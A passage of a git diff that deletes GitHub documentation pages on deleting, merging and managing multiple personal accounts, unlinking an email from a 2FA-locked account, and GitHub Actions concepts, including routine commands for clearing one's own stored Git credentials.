/articles/deleting-a-user-account - - /articles/deleting-your-user-account - - /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Delete your account ---- - -## About deletion of your personal account - -Deleting your personal account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted. Your resources and comments will become associated with the [ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %} - -{% ifversion fpt or ghec %} - -{% data reusables.accounts.delete-account-repo-namespace-retirement %} - -{% endif %} - -{% data reusables.package_registry.delete-account-namespace-retirement %} - -{% ifversion ghec %} - -> [!NOTE] -> If your enterprise manages your account and you sign into {% data variables.product.github %} through your company's identity provider (IdP), you cannot delete your account. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -{% ifversion fpt or ghec %}When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account. After 90 days, the account name also becomes available to anyone else to use on a new account.{% endif %} - -If you're the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your personal account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your personal account. - -For more information, see the following articles. - -* [AUTOTITLE](/organizations/managing-organization-settings/transferring-organization-ownership) -* [AUTOTITLE](/organizations/managing-organization-settings/deleting-an-organization-account) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) - -{% ifversion ghes %} -> [!NOTE] -> * You should contact an enterprise owner before deleting your account on {% data variables.product.prodname_ghe_server %}. -{% endif %} - -## Back up your account data - -Before you delete your personal account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/backing-up-a-repository). - -> [!WARNING] -> Once your personal account has been deleted, {% ifversion fpt or ghec %}{% data variables.product.company_short %}{% elsif ghes %}an enterprise owner{% endif %} cannot restore your content. - -## Deleting your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -1. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your personal account: - * If you're the only owner in the organization, you must transfer ownership to another person or delete your organization. - * If there are other organization owners in the organization, you must remove yourself from the organization. -1. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted: - {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted. Your billing will end immediately. Your username will be available for anyone to use after 90 days.{% else %} - * Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use.{% endif %} - * In the first field, type your username or email. - * In the second field, type the phrase from the prompt. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md deleted file mode 100644 index 9cdc2ce522d3..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Managing your personal account -intro: 'You can manage your personal account on {% data variables.product.github %}. For example, you can {% ifversion fpt or ghec %}manage multiple accounts, {% endif %}convert an account to an organization, or delete an account.' -shortTitle: Manage personal account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -children: - - /managing-multiple-accounts - - /merging-multiple-personal-accounts - - /converting-a-user-into-an-organization - - /best-practices-for-leaving-your-company - - /unlinking-your-email-address-from-a-locked-account - - /deleting-your-personal-account ---- diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md deleted file mode 100644 index 223900bc1c2c..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Managing multiple accounts -intro: 'If you use one workstation to contribute to projects for more than one account, you can modify your Git configuration to simplify the contribution process.' -versions: - feature: multiple-accounts-one-workstation -topics: - - Accounts - - Git - - GitHub -shortTitle: Manage multiple accounts ---- - -## About management of multiple accounts - -In some cases, you may need to use multiple accounts on {% data variables.product.github %}. For example, you may have a personal account for open source contributions, and your employer may also create and manage a user account for you within an enterprise. - -You cannot use a {% data variables.enterprise.prodname_managed_user %} to contribute to public projects on {% data variables.location.product_location %}, so you must contribute to those resources using your personal account. For more information, see [About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}.{% endif %} - -{% ifversion account-switcher %} - -If you need to use multiple accounts, you can stay signed in to your accounts and switch between them. For example, switching between a personal account and a service account. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/switching-between-accounts). - -{% endif %} - -If you want to use one workstation to contribute from both accounts, you can simplify contribution with Git by using a mixture of protocols to access repository data, or by using credentials on a per-repository basis. - -> [!WARNING] -> Be mindful when you use one workstation to contribute to two separate accounts. Management of two or more accounts can increase the chance of mistakenly leaking internal code to the public. - -If you aren't required to use a {% data variables.enterprise.prodname_managed_user %}, {% data variables.product.company_short %} recommends that you use one personal account for all your work on {% data variables.location.product_location %}. With a single personal account, you can contribute to a combination of personal, open source, or professional projects using one identity. Other people can invite the account to contribute to both individual repositories and repositories owned by an organization, and the account can be a member of multiple organizations or enterprises. - -## Contributing to two accounts using HTTPS and SSH - -If you contribute with two accounts from one workstation, you can access repositories by using a different protocol and credentials for each account. - -Git can use either the HTTPS or SSH protocol to access and update data in repositories on {% data variables.product.github %}. The protocol you use to clone a repository determines which credentials your workstation will use to authenticate when you access the repository. With this approach to account management, you store the credentials for one account to use for HTTPS connections and upload an SSH key to the other account to use for SSH connections. - -You can find both the HTTPS or an SSH URLs for cloning a repository on the repository's page. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -For more information about the use of SSH to access repositories, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -## Contributing to multiple accounts using HTTPS and {% data variables.product.pat_generic %}s - -Alternatively, if you want to use the HTTPS protocol for both accounts, you can use different {% data variables.product.pat_generic %}s for each account by configuring Git to store different credentials for each repository. - -{% mac %} - -{% data reusables.git.open-terminal %} -{% data reusables.git.confirm-credential-manager %} -{% data reusables.git.clear-the-stored-credentials %} - {% data reusables.git.no-credential-manager %} - * If the output is `osxkeychain`, you're using the macOS keychain. To clear the credentials, you can use the credential helper on the command line: - - ```shell - $ git credential-osxkeychain erase - host={% data variables.product.product_url %} - protocol=https - > [Press Return] - > - ``` - - {% data reusables.git.clear-stored-gcm-credentials %} - - ```shell copy - echo "protocol=https\nhost=github.com" | git credential-manager erase - ``` -{% data reusables.git.cache-on-repository-path %} -{% data reusables.accounts.create-personal-access-tokens %} -{% data reusables.git.provide-credentials %} - -{% endmac %} - -{% windows %} - -1. Open Git Bash. -{% data reusables.git.confirm-credential-manager %} -{% data reusables.git.clear-the-stored-credentials %} - {% data reusables.git.no-credential-manager %} - {% data reusables.git.clear-stored-gcm-credentials %} - - ```shell copy - echo "protocol=https`nhost=github.com" | git credential-manager erase - ``` - - * If the output is `wincred`, you're using the Windows Credential Manager. To clear the credentials, enter the following command. - - ```shell copy - cmdkey /delete:LegacyGeneric:target=git:https://github.com - ``` - -{% data reusables.git.cache-on-repository-path %} -{% data reusables.accounts.create-personal-access-tokens %} -{% data reusables.git.provide-credentials %} - -{% endwindows %} - -{% linux %} - -{% data reusables.git.open-terminal %} -{% data reusables.git.confirm-credential-manager %} -{% data reusables.git.clear-the-stored-credentials %} - {% data reusables.git.no-credential-manager %} - {% data reusables.git.clear-stored-gcm-credentials %} - - ```shell copy - echo "protocol=https\nhost=github.com" | git credential-manager erase - ``` -{% data reusables.git.cache-on-repository-path %} -{% data reusables.accounts.create-personal-access-tokens %} -{% data reusables.git.provide-credentials %} - -{% endlinux %} - -## Contributing to multiple accounts using SSH and `GIT_SSH_COMMAND` - -If you want to use the SSH protocol for both accounts, you can use different SSH keys for each account. For more information about using SSH, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -To use a different SSH key for different repositories that you clone to your workstation, you must write a shell wrapper function for Git operations. The function should perform the following steps. -1. Determine the repository's full name with owner, using a command such as `git config --get remote.origin.url`. -1. Choose the correct SSH key for authentication. -1. Modify `GIT_SSH_COMMAND` accordingly. For more information about `GIT_SSH_COMMAND`, see [Environment Variables](https://git-scm.com/docs/git#Documentation/git.txt-codeGITSSHCOMMANDcode) in the Git documentation. - -For example, the following command sets the `GIT_SSH_COMMAND` environment variable to specify an SSH command that uses the private key file at **_PATH/TO/KEY/FILE_** for authentication to clone the repository named OWNER/REPOSITORY on {% data variables.location.product_location %}. - -```shell copy -GIT_SSH_COMMAND='ssh -i PATH/TO/KEY/FILE -o IdentitiesOnly=yes' git clone git@github.com:OWNER/REPOSITORY -``` diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md deleted file mode 100644 index c546ce33192b..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Merging multiple personal accounts -intro: 'If you have separate accounts for work and personal use, you can merge the accounts.' -redirect_from: - - /articles/can-i-merge-two-accounts - - /articles/keeping-work-and-personal-repositories-separate - - /articles/merging-multiple-user-accounts - - /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Merge multiple accounts ---- - -{% ifversion ghec %} - -> [!TIP] -> {% data variables.product.prodname_emus %} allow an enterprise to provision unique personal accounts for its members through an identity provider (IdP). For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). For other use cases, we recommend using only one personal account to manage both personal and professional repositories. - -{% else %} - -> [!TIP] -> We recommend using only one personal account to manage both personal and professional repositories. - -{% endif %} - -> [!WARNING] -> * Organization and repository access permissions aren't transferable between accounts. If the account you want to delete has an existing access permission, an organization owner or repository administrator will need to invite the account that you want to keep. -> * Any commits authored with a {% data variables.product.company_short %}-provided `noreply` email address cannot be transferred from one account to another. If the account you want to delete used the **Keep my email address private** option, it won't be possible to transfer the commits authored by the account you are deleting to the account you want to keep. -> * Issues, pull requests, and discussions will not be attributed to the new account. -> * Achievements are not able to be transferred between accounts. - -1. [Transfer any repositories](/repositories/creating-and-managing-repositories/transferring-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep. -1. [Update the remote URLs](/get-started/git-basics/managing-remote-repositories) in any local clones of the repositories that were moved. -1. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account) -1. [Delete the account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account) you no longer want to use. - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md deleted file mode 100644 index 3834acfdb0e0..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Unlinking your email address from a locked account -intro: 'If you have lost your two-factor authentication (2FA) credentials and are unable to recover access, you can remove the connection between your email address and a 2FA locked account. The email address is then available for you to link it to a new or existing account, maintaining your commit history.' -redirect_from: - - /early-access/account-and-profile/unlinking-your-email-address-from-a-locked-account -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - 2FA -shortTitle: Unlink your email ---- - -## About unlinking your email address - -Since an email address can only be associated with a single {% data variables.product.prodname_dotcom %} account, when you've lost your 2FA credentials and are unable to recover access, unlinking your email address from the locked account allows you to link that email address to a new or existing account. Additionally, linking a previously used commit email address to a new account will connect your commit history to that account. Unless you have chosen to keep your email address private, your account's commit email address is the same as your account's primary email address. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -> [!NOTE] -> The {% data variables.product.github %}-provided `noreply` email address cannot be unlinked from an account. Commits authored with a `noreply` address cannot be reconnected to a different account. - -Be aware that nothing else associated with your 2FA locked account, including your repositories, permissions, and profile, will transfer to your new account. - -## Unlinking your email address - -Unlinking email addresses is only available for accounts with 2FA enabled. If you do not have 2FA enabled, you can sign in and remove your email address from your account settings. - -> [!WARNING] -> Following these steps will not disable 2FA or provide access to a locked account, but will instead unlink the associated email address so it may be used for a different account. If you cannot regain access to the 2FA locked account, these steps will permanently break the link between the account and the linked email address. Before continuing with this article, be sure you have lost all access to your account. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). -> -> Educational benefits and discounts cannot be transferred after an email address is unlinked and associated with a different account. To keep these benefits, you must continue using the original account that was used to apply. - -### Unlinking with your password - -If you know your password, you can sign in with your password to unlink your email address - -1. Navigate to [https://github.com/login](https://github.com/login). -1. To prompt two-factor authentication, type your username and password, then click **Sign in**. -1. Under "Having problems?", click **Use a recovery code or begin 2FA account recovery**. -1. Under "Locked out?", click **Try 2FA account recovery, or unlink your account email address(es)**. -1. In the modal that appears, click **I understand, get started**. -1. You may be required to verify an email address. To send an email containing a one-time password to each email address associated with your account, click **Send one-time password**. -1. To verify your identity, type the one-time password from your email in the "One-time password" text field, then click **Verify email address**. -{% data reusables.accounts.unlinking-email-address %} - -### Unlinking without your password - -If you do not know your account password, you can request a password reset link to unlink your email address. - -{% data reusables.accounts.request-password-reset-link %} - -1. On {% data variables.product.prodname_dotcom %}, you will be prompted for your 2FA credentials. Under "Having problems?", click **Start a 2FA recovery request or unlink your account email address(es)**. -1. In the modal that appears, click **I understand, get started**. -{% data reusables.accounts.unlinking-email-address %} diff --git a/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md b/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md deleted file mode 100644 index 9ab36f3a06e5..000000000000 --- a/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: About continuous deployment with GitHub Actions -shortTitle: Continuous deployment -intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -redirect_from: - - /actions/deployment/about-continuous-deployment - - /actions/deployment/about-deployments/about-continuous-deployment - - /actions/deployment/about-deployments - - /actions/about-github-actions/about-continuous-deployment -topics: - - CD ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About continuous deployment - -_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment. - -Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration). - -## About continuous deployment using {% data variables.product.prodname_actions %} - -You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying. - -You can configure your CD workflow to run when an event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. For more information about these features, see [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). - -## Using OpenID Connect to access cloud resources - -{% data reusables.actions.about-oidc-short-overview %} - -## Workflow templates and third party actions - -{% data reusables.actions.cd-templates-actions %} - -## Further reading - -* [AUTOTITLE](/actions/use-cases-and-examples/deploying) -* [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions) -* [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment){% ifversion fpt or ghec %} -* [AUTOTITLE](/billing/managing-billing-for-github-actions){% endif %} diff --git a/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md b/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md deleted file mode 100644 index 0c24fc3aa86e..000000000000 --- a/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: About continuous integration with GitHub Actions -intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' -redirect_from: - - /articles/about-continuous-integration - - /github/automating-your-workflow-with-github-actions/about-continuous-integration - - /actions/automating-your-workflow-with-github-actions/about-continuous-integration - - /actions/building-and-testing-code-with-continuous-integration/about-continuous-integration - - /actions/guides/about-continuous-integration - - /actions/automating-builds-and-tests/about-continuous-integration - - /actions/about-github-actions/about-continuous-integration -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - CI -shortTitle: Continuous integration ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About continuous integration - -Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. - -When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. - -Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. - -## About continuous integration using {% data variables.product.prodname_actions %} - - CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. - -{% data variables.product.github %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. - -When you set up CI in your repository, {% data variables.product.github %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.github %} will suggest a workflow template that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.github %}, customize the suggested workflow template, or create your own custom workflow file to run your CI tests. - -In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -For a definition of common terms, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Workflow templates - -{% data variables.product.github %} offers CI workflow templates for a variety of languages and frameworks. - -Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.prodname_dotcom_the_website %}{% endif %}. - -## Further reading - -* [AUTOTITLE](/actions/use-cases-and-examples/building-and-testing){% ifversion fpt or ghec %} -* [AUTOTITLE](/billing/managing-billing-for-github-actions){% endif %} diff --git a/content/actions/about-github-actions/index.md b/content/actions/about-github-actions/index.md deleted file mode 100644 index afac6b532280..000000000000 --- a/content/actions/about-github-actions/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: About GitHub Actions -shortTitle: About GitHub Actions -intro: '{% data variables.product.prodname_actions %} is a tool that you can use to build automations to assist with each stage of the software development lifecycle. This section describes {% data variables.product.prodname_actions %} concepts, common terminology, and some high level use cases.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /understanding-github-actions - - /about-continuous-integration-with-github-actions - - /about-continuous-deployment-with-github-actions ---- - diff --git a/content/actions/about-github-actions/understanding-github-actions.md b/content/actions/about-github-actions/understanding-github-actions.md deleted file mode 100644 index b3ae4b838921..000000000000 --- a/content/actions/about-github-actions/understanding-github-actions.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Understanding GitHub Actions -shortTitle: Understand GitHub Actions -intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions - - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions - - /actions/getting-started-with-github-actions/core-concepts-for-github-actions - - /actions/learn-github-actions/introduction-to-github-actions - - /actions/learn-github-actions/understanding-github-actions - - /actions/learn-github-actions/essential-features-of-github-actions - - /articles/getting-started-with-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Fundamentals ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. - -{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. - -{% ifversion fpt or ghec %} - -{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. - -{% elsif ghes %} - -You must host your own Linux, Windows, or macOS virtual machines to run workflows for {% data variables.location.product_location %}. {% data reusables.actions.self-hosted-runner-locations %} - -{% endif %} - -{% ifversion ghec or ghes %} - -For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). - -{% endif %} - -## The components of {% data variables.product.prodname_actions %} - -You can configure a {% data variables.product.prodname_actions %} **workflow** to be triggered when an **event** occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more **jobs** which can run in sequential order or in parallel. Each job will run inside its own virtual machine **runner**, or inside a container, and has one or more **steps** that either run a script that you define or run an **action**, which is a reusable extension that can simplify your workflow. - -![Diagram of an event triggering Runner 1 to run Job 1, which triggers Runner 2 to run Job 2. Each of the jobs is broken into multiple steps.](/assets/images/help/actions/overview-actions-simple.png) - -### Workflows - -{% data reusables.actions.about-workflows-long %} - -You can reference a workflow within another workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -For more information, see [AUTOTITLE](/actions/using-workflows). - -### Events - -An **event** is a specific activity in a repository that triggers a **workflow** run. For example, an activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow to run on a [schedule](/actions/using-workflows/events-that-trigger-workflows#schedule), by [posting to a REST API](/rest/repos/repos#create-a-repository-dispatch-event), or manually. - -For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows). - -### Jobs - -A **job** is a set of **steps** in a workflow that is executed on the same **runner**. Each step is either a shell script that will be executed, or an **action** that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. - -You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel. When a job takes a dependency on another job, it waits for the dependent job to complete before running. - -For example, you might configure multiple build jobs for different architectures without any job dependencies and a packaging job that depends on those builds. The build jobs run in parallel, and once they complete successfully, the packaging job runs. - -For more information, see [AUTOTITLE](/actions/using-jobs). - -### Actions - -An **action** is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your **workflow** files. An action can pull your Git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. - -You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. - -{% data reusables.actions.internal-actions-summary %} - -For more information on actions, see [AUTOTITLE](/actions/creating-actions). - -### Runners - -A **runner** is a server that runs your workflows when they're triggered. Each runner can run a single **job** at a time. -{% ifversion ghes %} You must host your own runners for {% data variables.product.prodname_ghe_server %}. -{% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your **workflows**. Each workflow run executes in a fresh, newly-provisioned virtual machine. - -{% ifversion actions-hosted-runners %} {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners). -{% endif %} -If you need a different operating system or require a specific hardware configuration, you can host your own runners. -{% endif %} - -For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see [AUTOTITLE](/actions/hosting-your-own-runners). - -## Next steps - -{% data reusables.actions.onboarding-next-steps %} - -{% ifversion ghec or ghes %} - -## Further reading - -* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises) -{% endif %} diff --git a/content/actions/administering-github-actions/index.md b/content/actions/administering-github-actions/index.md deleted file mode 100644 index f3c6a7bd98ba..000000000000 --- a/content/actions/administering-github-actions/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Administering GitHub Actions -shortTitle: Administer GitHub Actions -intro: 'Manage {% data variables.product.prodname_actions %} settings for your organization or enterprise.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /usage-limits-billing-and-administration - - /viewing-github-actions-metrics - - /sharing-workflows-secrets-and-runners-with-your-organization - - /making-retired-namespaces-available-on-ghecom ---- - diff --git a/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md b/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md deleted file mode 100644 index b8b6c1f08d7b..000000000000 --- a/content/actions/administering-github-actions/making-retired-namespaces-available-on-ghecom.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 'Making retired namespaces available on GHE.com' -shortTitle: Retired namespaces on GHE.com -intro: 'Allow people to use namespaces that match actions you have used from {% data variables.product.prodname_dotcom_the_website %}.' -versions: - ghec: '*' -type: how_to -permissions: Enterprise owners ---- - -## About retirement of namespaces - -If you use {% data variables.enterprise.data_residency %}, members of your enterprise can create {% data variables.product.prodname_actions %} workflows that use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). - -{% data variables.product.prodname_actions %} searches your enterprise on {% data variables.enterprise.data_residency_site %} for each action before falling back to {% data variables.product.prodname_dotcom_the_website %}. This ensures that custom versions of actions in your enterprise are used in preference to their counterparts on {% data variables.product.prodname_dotcom_the_website %}. - -To ensure workflows use their intended actions and to block the potential for abuse, once an action on {% data variables.product.prodname_dotcom_the_website %} is used for the first time, the namespace associated with that action is retired in your enterprise. This blocks users from creating an organization and repository in your enterprise that match the action's namespace on {% data variables.product.prodname_dotcom_the_website %}. - -## Making a retired namespace available - -After using an action from {% data variables.product.prodname_dotcom_the_website %}, if you want to create an action in your enterprise with the same name, you need to make the namespace for that organization and repository available. - -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Retired namespaces**. -1. To the right of the namespace that you want use in your enterprise, click **Unretire**. -1. Go to the relevant organization and create a new repository. - -### Tips for ensuring you can create a new repository - -* When you unretire a namespace, always create the new repository with that name as soon as possible. If a workflow calls the associated action on {% data variables.product.prodname_dotcom_the_website %} before you create the local repository, the namespace will be retired again. -* For actions used in workflows that run frequently, you may find that a namespace is retired again before you have time to create the local repository. In this case, you can temporarily disable the relevant workflows until you have created the new repository. diff --git 